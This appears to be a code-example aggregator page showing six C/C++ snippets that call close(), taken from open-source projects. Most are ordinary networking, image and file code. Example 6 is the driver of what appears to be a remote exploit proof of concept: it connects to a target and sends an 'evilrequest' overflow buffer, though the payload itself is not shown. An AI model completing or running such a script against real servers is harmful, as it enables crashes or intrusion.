C++ (Cpp) close Examples

C++ (Cpp) close - 30 examples found. These are the top rated real world C++ (Cpp) examples of close extracted from open source projects. You can rate examples to help us improve the quality of examples.
Example #1
0
/*
 * Given a partially processed URL, fetch it from the specified host.
 */
static int
http_fetch(struct sockaddr_in *sin, char *path, int quiet)
{
    u_char buffer[BUFFER];
    ssize_t len;
    size_t sofar;
    int sock;

    sock = socket(PF_INET, SOCK_STREAM, 0);
    if (sock < 0) {
        if (!quiet)
            warn("socket(PF_INET, SOCK_STREAM)");
        return (-1);
    }

    /* XXX: Mark non-blocking. */

    if (connect(sock, (struct sockaddr *)sin, sizeof(*sin)) < 0) {
        if (!quiet)
            warn("connect");
        close(sock);
        return (-1);
    }

    /* XXX: select for connection. */

    /* Send a request. */
    snprintf(buffer, BUFFER, "GET %s HTTP/1.0\n\n", path);
    sofar = 0;
    while (sofar < strlen(buffer)) {
        len = send(sock, buffer, strlen(buffer), 0);
        if (len < 0) {
            if (!quiet)
                warn("send");
            close(sock);
            return (-1);
        }
        if (len == 0) {
            if (!quiet)
                warnx("send: len == 0");
        }
        sofar += len;
    }

    /* Read until done.  Not very smart. */
    while (1) {
        len = recv(sock, buffer, BUFFER, 0);
        if (len < 0) {
            if (!quiet)
                warn("recv");
            close(sock);
            return (-1);
        }
        if (len == 0)
            break;
    }

    close(sock);
    return (0);
}
Example #2
0
bool
WebpOutput::write_scanline (int y, int z, TypeDesc format,
                            const void *data, stride_t xstride)
{
    if (y > m_spec.height)
    {
        error ("Attempt to write too many scanlines to %s", m_filename.c_str());
        close ();
        return false;
    }
    std::vector<uint8_t> scratch;
    data = to_native_scanline (format, data, xstride, scratch);
    memcpy(&m_uncompressed_image[y*m_scanline_size], data, m_scanline_size);

    if (y == m_spec.height - 1)
    {
        if (m_spec.nchannels == 4)
        {
            WebPPictureImportRGBA(&m_webp_picture, &m_uncompressed_image[0], m_scanline_size);
        }
        else
        {
            WebPPictureImportRGB(&m_webp_picture, &m_uncompressed_image[0], m_scanline_size);
        }
        if (!WebPEncode(&m_webp_config, &m_webp_picture))
        {
            error ("Failed to encode %s as WebP image", m_filename.c_str());
            close();
            return false;
        }
    }
    return true;
}
Example #3
0
static void load_state(struct clap_jack_host *app)
{
    struct stat st;
    struct clap_plugin_state *state = app->plugin->extension(
                                          app->plugin, CLAP_EXT_STATE);

    if (!state)
        return;

    if (!app->state_path)
        return;

    int fd = open(app->state_path, O_RDONLY);
    if (fd < 0)
        return;

    if (fstat(fd, &st)) {
        close(fd);
        return;
    }

    void *mem = mmap(NULL, st.st_size, PROT_READ, MAP_SHARED, fd, 0);
    if (mem == MAP_FAILED) {
        close(fd);
        return;
    }

    state->restore(app->plugin, mem, st.st_size);

    munmap(mem, st.st_size);
    close(fd);
}
Example #4
0
/**
*清空一个process
**/
void cleanup(process *process) {
    LOG << "cleanup" << endl;
    int s;
    if (process->sock != NO_SOCK) {
        LOG << "close sock:" << process->sock << endl;
        s = close(process->sock);
        current_total_processes--;
        if (s == NO_SOCK) {
            ERR << "close sock" << endl;
        }
    }
    if (process->fd != -1) {
        s = close(process->fd);
        if (s == NO_FILE) {
            ERR << "fd: " << process->fd << " close file error" << endl;
        }
    }
    process->sock = NO_SOCK;
    process->fd = NO_FILE;
    process->type = NO_TYPE;
    process->status = NO_STATUS;
    memset(process->md5, 0, sizeof(char) * MD5_LEN + 1);
    reset_process(process);
    // del_timer(process->sock);
}
Example #5
0
File: bar.c Project: SirCmpwn/sway
static void spawn_status_cmd_proc(struct bar *bar) {
    if (bar->config->status_command) {
        int pipefd[2];
        if (pipe(pipefd) != 0) {
            sway_log(L_ERROR, "Unable to create pipe for status_command fork");
            return;
        }
        bar->status_command_pid = fork();
        if (bar->status_command_pid == 0) {
            close(pipefd[0]);
            dup2(pipefd[1], STDOUT_FILENO);
            close(pipefd[1]);
            char *const cmd[] = {
                "sh",
                "-c",
                bar->config->status_command,
                NULL,
            };
            execvp(cmd[0], cmd);
            return;
        }

        close(pipefd[1]);
        bar->status_read_fd = pipefd[0];
        fcntl(bar->status_read_fd, F_SETFL, O_NONBLOCK);
    }
}
Example #6
0
int main(int argc, char *argv[]) {
    int s,n;
    unsigned int rcv;
    char *request;
    char recvbuf[256];
    banner();
    if( argc < 3)
        argv[2] = "80";
    else if ((atoi(argv[2]) < 1) || (atoi(argv[2]) > 65534))
        usage(argv[0]);
    if( (argc < 2) )
        usage(argv[0]);
    request = (char *) malloc(1024);
    printf("[+] Connecting to remote host\n");
    s = remote_connect(argv[1],atoi(argv[2]));
    sleep(1);
    printf("[+] Creating buffer\n");
    sprintf(request,BUGSTR,evilrequest);
    printf("[+] Sending %d bytes of painfull buffer\n",strlen(evilrequest));
    if ( send ( s, request, strlen (request), 0) <= 0 )
    {
        printf("[X] Failed to send buffer\n");
        close(s);
        exit(1);
    }
    sleep(1);
    printf("[+] Done, Packet Sent\n");
    close(s);
    free(request);
    request = NULL;
    return 0;
}